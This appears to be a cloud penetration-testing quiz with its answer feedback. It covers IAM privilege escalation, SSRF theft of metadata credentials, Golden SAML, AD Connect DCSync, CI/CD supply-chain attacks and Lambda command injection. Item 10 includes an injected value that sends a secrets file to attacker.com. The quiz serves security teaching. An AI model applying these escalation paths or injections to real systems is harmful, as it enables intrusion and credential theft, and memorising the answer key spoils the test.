3. AWS IMDSv2 mitigates simple SSRF-based credential theft through what mechanism?

Correct. IMDSv2 introduces a two-step session flow: first a PUT request with a TTL header returns a token, then that token must be included in all subsequent GET requests. Most SSRF vulnerabilities only support GET-style forwarding and cannot complete the PUT step.

Not correct. IMDSv2 uses a session token obtained via PUT request. The PUT requirement is the key mitigation — basic SSRF vulnerabilities typically cannot perform PUT requests, only GET.

4. A principal has iam:PassRole and ec2:RunInstances. They do NOT have any direct admin permissions. How can this lead to privilege escalation?

Correct. iam:PassRole allows specifying an IAM instance profile when launching an EC2 instance. If a high-privilege role exists in the account, the attacker launches an EC2 instance with that role attached. Once the instance is running, the role's temporary credentials are available via IMDS — giving the attacker the role's full permissions.

Not correct. The escalation path is: launch EC2 with a high-privilege instance profile (allowed by iam:PassRole + ec2:RunInstances), then retrieve the role's credentials from the new instance's IMDS endpoint.

5. What permission in Azure directly allows a principal to assign themselves the Owner role at subscription scope?

Correct. Microsoft.Authorization/roleAssignments/write is the Azure RBAC permission that controls role assignment creation. A principal with this permission at subscription scope can create a new Owner role assignment for their own identity.

Not correct. The relevant permission is Microsoft.Authorization/roleAssignments/write — the Azure RBAC action for creating role assignments, including self-assignment of Owner.

6. The SolarWinds SUNBURST campaign used Golden SAML to pivot from on-premises to cloud. What is required to execute a Golden SAML attack?

Correct. Golden SAML requires the AD FS token-signing certificate private key (to forge signed SAML assertions) and any valid username. No target user password is needed — the forged assertion claims authentication has already occurred, including completed MFA.

Not correct. Golden SAML specifically requires the AD FS token-signing certificate private key plus a valid username. No passwords are needed — the attack forges the authentication assertion itself.

7. Why is the Azure AD Connect server a critical target in hybrid Microsoft environments?

Correct. The Azure AD Connect synchronization account (MSOL_xxxx) requires DS-Replication-Get-Changes and DS-Replication-Get-Changes-All in on-premises AD — DCSync-equivalent permissions. Extracting these credentials from the AD Connect server provides the ability to replicate all domain password hashes without touching the domain controller directly.

Not correct. The critical asset is the MSOL sync account credential, which has DCSync-equivalent AD permissions. Compromising AD Connect gives you the ability to perform DCSync against the on-premises domain.

8. An on-premises server is enrolled in AWS SSM via Hybrid Activations. A penetration tester holds ssm:SendCommand permission in AWS. The tester has no network route to the server. What is possible?

Correct. The SSM agent on the on-premises server maintains an outbound HTTPS connection to the SSM regional endpoint. SendCommand delivers payloads through this channel. The attacker never needs inbound access to the server — all communication flows from the server outbound to AWS, and commands are delivered via that established channel.

Not correct. The SSM agent maintains an outbound connection to AWS. ssm:SendCommand delivers commands through this outbound channel — no inbound network access to the server is needed. This is the key operational advantage for penetration testers.

9. In the Codecov supply chain attack, the primary delivery mechanism was modification of which asset?

Correct. Codecov's Bash uploader script (bash_uploader) was modified to include a command that exfiltrated all environment variables to an attacker-controlled server. Victim CI/CD pipelines downloaded this script via curl and executed it with bash as a standard step in their build process.

Not correct. The attack modified Codecov's Bash uploader script on codecov.io — the script that victims downloaded via curl and executed during their CI/CD pipeline to upload coverage reports.

10. A Lambda function processes SQS messages with code: os.system("processor --id=" + event['orderId']). The function's execution role has s3:GetObject on a sensitive bucket. An attacker can send SQS messages. What is the impact?

Correct. The orderId value from the SQS message is passed unsanitized to os.system(). An attacker-controlled message with orderId like "1; aws s3 cp s3://sensitive-bucket/secrets.txt http://attacker.com/" achieves command injection. The injected commands execute with the Lambda role's IAM permissions, including the s3:GetObject grant.

Not correct. AWS does not sanitize SQS message contents before delivery. The orderId value is used directly in os.system(), creating an OS command injection vulnerability that executes with the Lambda function's IAM permissions.

11. What is the primary value of AI LLM tools in cloud penetration testing enumeration phases, compared to automated scanning tools?

Correct. LLMs' value in cloud pentesting is in reasoning over output, not executing API calls. Given JSON from aws iam simulate-principal-policy or ScoutSuite findings, an LLM can identify privilege escalation chains, cross-reference permission combinations against known patterns, and surface misconfigurations faster than manual review.

Not correct. LLMs are reasoning tools, not API clients. Their value is in analyzing the output of enumeration tools — identifying patterns, chains, and misconfigurations in structured data that would take humans hours to review manually.

12. What is the dangerous combination in GitHub Actions that enables "Pwn Request" attacks?

Correct. pull_request_target runs with base repository secret access (unlike pull_request which does not). When combined with checking out the PR's code and executing it, external contributors can inject commands that run with those secrets accessible — creating a path from anonymous contributor to secret theft without any other vulnerability.

Not correct. The dangerous pattern is specifically pull_request_target + checkout of PR head + execution of that code. pull_request_target provides secret access; checking out and running the PR's code gives external contributors control over what executes in that context.

13. In EKS with OIDC workload identity, what allows a compromised pod to obtain cloud credentials?

Correct. EKS OIDC workload identity works via projected service account tokens mounted in the pod and the AWS_WEB_IDENTITY_TOKEN_FILE environment variable. The pod calls STS AssumeRoleWithWebIdentity with this token to obtain temporary credentials for the annotated IAM role — no EC2 instance profile required.

Not correct. OIDC workload identity uses a projected service account token and AWS_WEB_IDENTITY_TOKEN_FILE to let the pod call sts:AssumeRoleWithWebIdentity, obtaining credentials for the IAM role bound to its Kubernetes service account.

14. What GCP permission is equivalent to the AWS iam:PassRole + lambda:CreateFunction escalation path?

Correct. In GCP, iam.serviceAccounts.actAs is the equivalent of iam:PassRole — it allows specifying a service account for a resource to run as. Combined with cloudfunctions.functions.create or compute.instances.create, an attacker can create a workload that runs as a high-privilege service account, achieving the same compute-based escalation pattern as AWS.

Not correct. The GCP equivalent pattern is iam.serviceAccounts.actAs (the ability to assign a service account to a resource, equivalent to PassRole) combined with a resource creation permission like cloudfunctions.functions.create.

15. During a red team engagement, you find a Lambda function with the environment variable DATABASE_PASSWORD in plaintext, and the function is vulnerable to SSRF via an external URL parameter. What is the most direct path to extracting the environment variable?

Correct. The Lambda credentials endpoint is at http://169.254.170.2/ plus the path in AWS_CONTAINER_CREDENTIALS_RELATIVE_URI. SSRF to this endpoint returns temporary IAM credentials. With those credentials, aws lambda get-function-configuration returns all environment variables in plaintext (unless a customer-managed KMS key is used with separate decryption permissions). This is the documented path from Lambda SSRF to environment variable extraction.

Not correct. The Lambda credentials endpoint (169.254.170.2/$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI) is reachable from within the function's execution environment. SSRF to this URL returns temporary IAM credentials that can then be used to call lambda:GetFunctionConfiguration, which returns environment variables in plaintext.